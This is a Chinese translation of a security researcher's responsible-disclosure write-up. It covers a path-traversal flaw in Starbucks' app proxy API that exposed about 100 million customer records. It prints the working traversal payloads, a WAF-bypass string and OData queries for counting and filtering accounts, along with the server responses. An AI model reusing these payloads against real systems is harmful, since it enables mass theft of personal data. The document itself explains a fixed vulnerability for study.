我在星巴克买了张卡,意外发现一亿客户信息泄露

发布于: 2020 年 06 月 22 日
我在星巴克买了张卡,意外发现一亿客户信息泄露

本文原作者为Sam Curry,并由核子可乐翻译。

朋友的生日快到了,我准备上网买张星巴克礼品卡作为礼物。但是在星巴克网站上购物的过程中,意外发现了星巴克网站的Bug,外部人士可以访问1亿星巴克客户的姓名、电子邮件、电话号码与常住地址。

事情要从朋友生日说起,本来我是打算上网买张星巴克礼品卡作为朋友的生日礼物,但是在星巴克网站购物时,我发现其网站包含了大量的API调用,我很疑惑:在线购物网站设计中需要用到大量的调用操作吗?于是,我发现了一条以“/bff/proxy/”为前缀的API发送了多项请求,而请求返回的数据似乎来自另一台主机。

下面是一条返回用户信息的API调用示例:

POST /bff/proxy/orchestra/get-user HTTP/1.1
Host: app.starbucks.com
{
"data": {
"user": {
"exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",
"firstName": "Sam",
"lastName": "Curry",
"email": "samwcurry@gmail.com",
"partnerNumber": null,
"birthDay": null,
"birthMonth": null,
"loyaltyProgram": null
}
}
}

其中的“bff”术语实际上代表“后端的前端”,表示与用户交互的当前应用程序将请求发送给了另一台主机,借此获取实际逻辑或功能。

下面来看一份简单视图:

在以上示例中,“app.starbucks.com”主机无法访问只能通过特定端点接入的逻辑或数据,但却可以作为通往第二主机(假定其名为「internal.starbucks.com」)的代理或者中间人。

这里我们要考虑几个有趣的问题:

  • 我们要如何测试应用程序的路由机制?

  • 如果应用程序将请求路由至某内部主机,那么其权限模式大致会是什么样的?

  • 对于被发送至内部主机的请求,我们能否控制其中的路径或者参数?

  • 内部主机上是否存在开放重新定向?如果有,应用程序是否会遵循该开放重新定向?

  • 返回的内容是否必须匹配适当的类型(例如是否解析JSON、XML或者任何其他数据)?

于是,我做了第一次尝试,遍历API调用以加载其他路径。具体操作方式为发送以下载荷:

/bff/proxy/orchestra/get-user/..%2f
/bff/proxy/orchestra/get-user/..;/
/bff/proxy/orchestra/get-user/../
/bff/proxy/orchestra/get-user/..%00/
/bff/proxy/orchestra/get-user/..%0d/
/bff/proxy/orchestra/get-user/..%5c
/bff/proxy/orchestra/get-user/..\
/bff/proxy/orchestra/get-user/..%ff/
/bff/proxy/orchestra/get-user/%2e%2e%2f
/bff/proxy/orchestra/get-user/.%2e/
/bff/proxy/orchestra/get-user/%3f (?)
/bff/proxy/orchestra/get-user/%26 (&)
/bff/proxy/orchestra/get-user/%23 (#)

遗憾的是,这些都没有发挥作用,它们返回的都是常见的404页面,意味着试图加载的页面内容无法在目标站点上找到。

这么看来,请求中的路径位于“/bff/proxy”之下,所以不会继承我随后发送的所有内容。看来情况越来越明确了。

接下来,我们可以将“/bff/proxy/orchestra/get-user”理解成一条正在调用且不包含用户输入的函数。与之对应,也许还存在某些能够接受用户输入的函数,例如“/bff/proxy/users/:id”,我们可以在其中调整并测试它所能接收的数据。如果我们发现了这样的API调用,即可遍历全部有效载荷并发送其他数据,把它变成我们与目标网站之间的数据传递通道。

就这样,我又对星巴克的Web应用进行一番详查,从中找到了更多API调用。我发现的第一条能够接收用户输入的信息是:

GET /bff/proxy/v1/me/streamItems/:streamItemId HTTP/1.1
Host: app.starbucks.com

此端点不同于“get-user”端点,因为其最后一条路径作为参数存在,我们可以在其中添加任意输入。如果此输入被判定为内部系统中的有效路径,我们就有机会遍历该路径甚至访问其他内部端点。

幸运的是,我尝试的第一条测试就返回了很好的结果,证明我们完全可以遍历各内部端点:

GET /bff/proxy/stream/v1/users/me/streamItems/..\ HTTP/1.1
Host: app.starbucks.com
{
"errors": [
{
"message": "Not Found",
"errorCode": 404,
...

此JSON响应与“/bff/proxy”下所有其他常规API所调用的JSON响应相同。这意味着我们正在使用内部系统,而且成功修改了与之通信的路径。下一步就是映射内部系统,这方面的最佳方法当然是识别出返回“404错误请求”的第一条路径,然后一路前往root。

Sadly, I ran into a little road bump. There was a WAF that wouldn’t let me go two directories deep:
GET /bff/proxy/stream/v1/users/me/streamItems/..\..\ HTTP/1.1
Host: app.starbucks.com
HTTP/1.1 403 Forbidden

运气不错,WAF相当糟糕:

GET /bff/proxy/v1/me/streamItems/web\..\.\..\ HTTP/1.1
Host: app.starbucks.com
{
"errors": [
{
"message": "Not Found",
"errorCode": 404,
...

最后,在返回7条路径之后,我接收到以下错误:

GET /bff/proxy/v1/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\..\ HTTP/1.1
Host: app.starbucks.com
{
"errors": [
{
"message": "Bad Request",
"errorCode": 400,
...

这意味着内部API的root有6条返回路径,我们可以使用目录暴力破解工具或者Burp Suite入侵工具,配合词汇表将整个体系映射出来。

于是,我找到了好友Justin Gardner,并就此情况展开了讨论。在Burp入侵工具的帮助下,他发现指向路径的HTTP请求中若没有正斜杠,则会返回一段重新定义代码。于是他立即据此确定了内部系统root上的多条路径:

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search
Host: app.starbucks.com
HTTP/1.1 301 Moved Permanently
Server: nginx
Content-Type: text/html
Content-Length: 162
Location: /search/

Justin在努力查找所有端点,而我则在认真研究各个目录。在运行一轮扫描之后,我发现“v1”存在于“search”之下,而“v1”下面又有“Accounts”与“Addresses”。

我给Justin发了条消息,提到如果“/search/v1/accounts”端点中包含的就是实际账户信息,那该是多么重大的发现……

不出所料,事实的确如此,这里的“/search/v1/accounts”是一个Microsoft Graph实例,能够访问所有星巴克账户。

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Accounts\ HTTP/1.1
Host: app.starbucks.com
{
"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
"value": [
{
"Id": 1,
"ExternalId": "12345",
"UserName": "UserName",
"FirstName": "FirstName",
"LastName": "LastName",
"EmailAddress": "0640DE@example.com",
"Submarket": "US",
"PartnerNumber": null,
"RegistrationDate": "1900-01-01T00:00:00Z",
"RegistrationSource": "iOSApp",
"LastUpdated": "2017-06-01T15:32:56.4925207Z"
},
...
lots of production accounts

另外,“Addresses”端点也返回了类似的结果……

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Addresses\ HTTP/1.1
Host: app.starbucks.com
{
"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Addresses",
"value": [
{
"Id": 1,
"AccountId": 1,
"AddressType": "3",
"AddressLine1": null,
"AddressLine2": null,
"AddressLine3": null,
"City": null,
"PostalCode": null,
"Country": null,
"CountrySubdivision": null,
"FirstName": null,
"LastName": null,
"PhoneNumber": null
},
...

看起来,这应该是一项用于支持实际账户与地址的服务。我们开始进一步探索这项服务,并使用Microsoft Graph功能证明自己的猜测。

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$count=true
Host: app.starbucks.com
{
"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
"@odata.count":99356059
}

在通过Microsoft Graph URL添加“$count”参数之后,我们可以确定该服务中包含近1亿条记录。攻击者可以通过添加“$skip”及“$count”等参数枚举所有用户账户,进而窃取这些数据。

再有,要查明特定用户账户,攻击者还可以使用“$filter”参数:

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1
Host: app.starbucks.com
{
"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
"value": [
{
"Id": 81763022,
"ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354",
"UserName": "redacted@gmail.com",
"FirstName": "Justin",
"LastName": "Gardner",
"EmailAddress": "redacted@gmail.com",
"Submarket": "US",
"PartnerNumber": null,
"RegistrationDate": "2018-05-19T18:52:15.0763564Z",
"RegistrationSource": "Android",
"LastUpdated": "2020-05-16T23:28:39.3426069Z"
}
]
}

由于内容太过敏感,我们马上向星巴克上报了这个问题。由于时间紧迫,我们无暇探索其他可以访问的API,但光是在简单的探索过程中,我们已经发现了以下端点……

barcode, loyalty, appsettings, card, challenge, content, identifier, identity, onboarding, orderhistory, permissions, product, promotion, account, billingaddress, enrollment, location, music, offers, rewards, keyserver

这些其他内部端点有可能(未经确认)允许我们访问并修改账单地址、礼品卡、积分以及优惠等内容。

我们的概念验证结果表明,外部人士确实可以借此访问近1亿星巴克客户的姓名、电子邮件、电话号码与常住地址。

星巴克团队的行动速度很快,在一天之内就解决了问题。

如果总结一下这次事件的话,那么就是“app.starbucks.com”中“/bff/proxy/”中的各端点会在内部路由请求,借此实现数据的检索与存储。我们可以遍历这些API调用,以访问内部主机上那些本不可直接访问的URL。内部API拥有一个公开的Microsoft Graph实例,该实例允许攻击者轻松窃取近1亿条用户记录,包括姓名、电子邮件、电话号码与常住地址。

原文链接:

https://samcurry.net/hacking-starbucks/

发布于: 2020 年 06 月 22 日 阅读数: 747
用户头像

田晓旭

关注

InfoQ 编辑 2019.04.23 加入

关注开源技术、云计算和数据库,坐标北京,微信号:txx0525yqwd,如有故事,欢迎交流。

评论 (1 条评论)

发布
用户头像
bff 是 Back-end For Front-end,后端的前端
2020 年 06 月 23 日 12:20
回复
没有更多了
我在星巴克买了张卡,意外发现一亿客户信息泄露